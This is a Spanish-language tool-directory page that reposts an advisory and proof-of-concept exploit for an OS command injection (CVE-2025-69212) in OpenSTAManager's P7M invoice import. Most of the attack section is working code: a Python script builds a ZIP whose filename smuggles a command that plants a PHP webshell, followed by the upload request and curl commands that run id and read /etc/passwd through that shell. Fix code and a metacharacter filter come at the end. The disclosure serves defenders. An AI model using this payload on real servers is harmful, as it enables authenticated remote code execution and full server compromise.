Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-69212 — Exploit de prueba de concepto para CVE-2025-69212: inyección de comandos del sistema operativo en el procesamiento de archivos P7M de OpenSTAManager, que permite la ejecución remota de código autenticada mediante la carga de un ZIP malicioso. | Kitploit
Herramientas/GitHubGitHub/lukasz-rybak/cve-2025-69212
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

Exploit de prueba de concepto para CVE-2025-69212: inyección de comandos del sistema operativo en el procesamiento de archivos P7M de OpenSTAManager, que permite la ejecución remota de código autenticada mediante la carga de un ZIP malicioso.

Ver Repositorio
42hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-69212: OpenSTAManager presenta una inyección de comandos del sistema operativo en el procesamiento de archivos P7M

Descripción general

CampoDetalles
ID de CVECVE-2025-69212
GravedadCRÍTICA
AvisoVer aviso
Descubierto porLukasz Rybak

Productos afectados

  • devcode-it/openstamanager (versiones: <= 2.9.8)

Clasificación CWE

  • CWE-78: Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo ('Inyección de comandos del sistema operativo')

Detalles

Resumen

Existe una vulnerabilidad crítica de inyección de comandos del sistema operativo en la funcionalidad de decodificación de archivos P7M (XML firmado). Un atacante autenticado puede subir un archivo ZIP que contenga un archivo .p7m con un nombre de archivo malicioso para ejecutar comandos arbitrarios del sistema en el servidor.

Código vulnerable

Archivo: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

El problema:

  • El parámetro $file se pasa directamente a exec() sin sanitización
  • Aunque está entre comillas dobles, un atacante puede escapar de ellas
  • El nombre de archivo proviene de archivos ZIP subidos (controlado por el usuario)

Vector de ataque

Puntos de entrada:

  1. plugins/importFE_ZIP/actions.php:126 (cuando la importación automática está habilitada)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56 (constructor)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name from user input!
    

Flujo del ataque:

  1. El atacante crea un ZIP con un nombre de archivo malicioso
  2. Sube el ZIP mediante el plugin importFE_ZIP
  3. La aplicación extrae el ZIP e itera sobre los archivos
  4. Para los archivos .p7m, se llama a decodeP7M()
  5. El nombre de archivo malicioso se inyecta en el comando exec()
  6. El comando arbitrario se ejecuta como usuario del servidor web

Prueba de concepto

⚠️ NOTA IMPORTANTE: ZipArchive::extractTo() de PHP divide los nombres de archivo por el carácter /. El payload NO debe contener / en los comandos. Usa cd directory && command en lugar de rutas absolutas.

Paso 1: Crear un ZIP malicioso

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Paso 2: Subir el ZIP

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
imagen
imagen

Paso 3: Resultado de la explotación

Respuesta (se espera un error 500: el análisis XML falla DESPUÉS de la ejecución del comando):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

Verificación: se creó la webshell

imagen

Paso 4: Ejecución remota de código

La webshell es accesible públicamente sin autenticación:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
imagen

Impacto

  • Ejecución remota de código: compromiso total del servidor
  • Exfiltración de datos: acceso a todos los datos de la aplicación y a la base de datos
  • Escalada de privilegios: posible escalada si el servidor web se ejecuta con privilegios elevados
  • Persistencia: instalar puertas traseras y mantener el acceso
  • Movimiento lateral: pivotar hacia otros sistemas de la red

Requisitos previos

  • Usuario autenticado con acceso a la funcionalidad de importación de facturas

Remediación

Sanitización de entradas

root@kitploit:~
public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\[\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

o

Validar el nombre de archivo antes de procesarlo

root@kitploit:~
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

Créditos

Descubierto por: Łukasz Rybak

Referencias

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

Aviso legal

Este CVE fue divulgado de forma responsable siguiendo prácticas de divulgación coordinada de vulnerabilidades. La información aquí proporcionada es únicamente con fines educativos y defensivos.

Descargar herramienta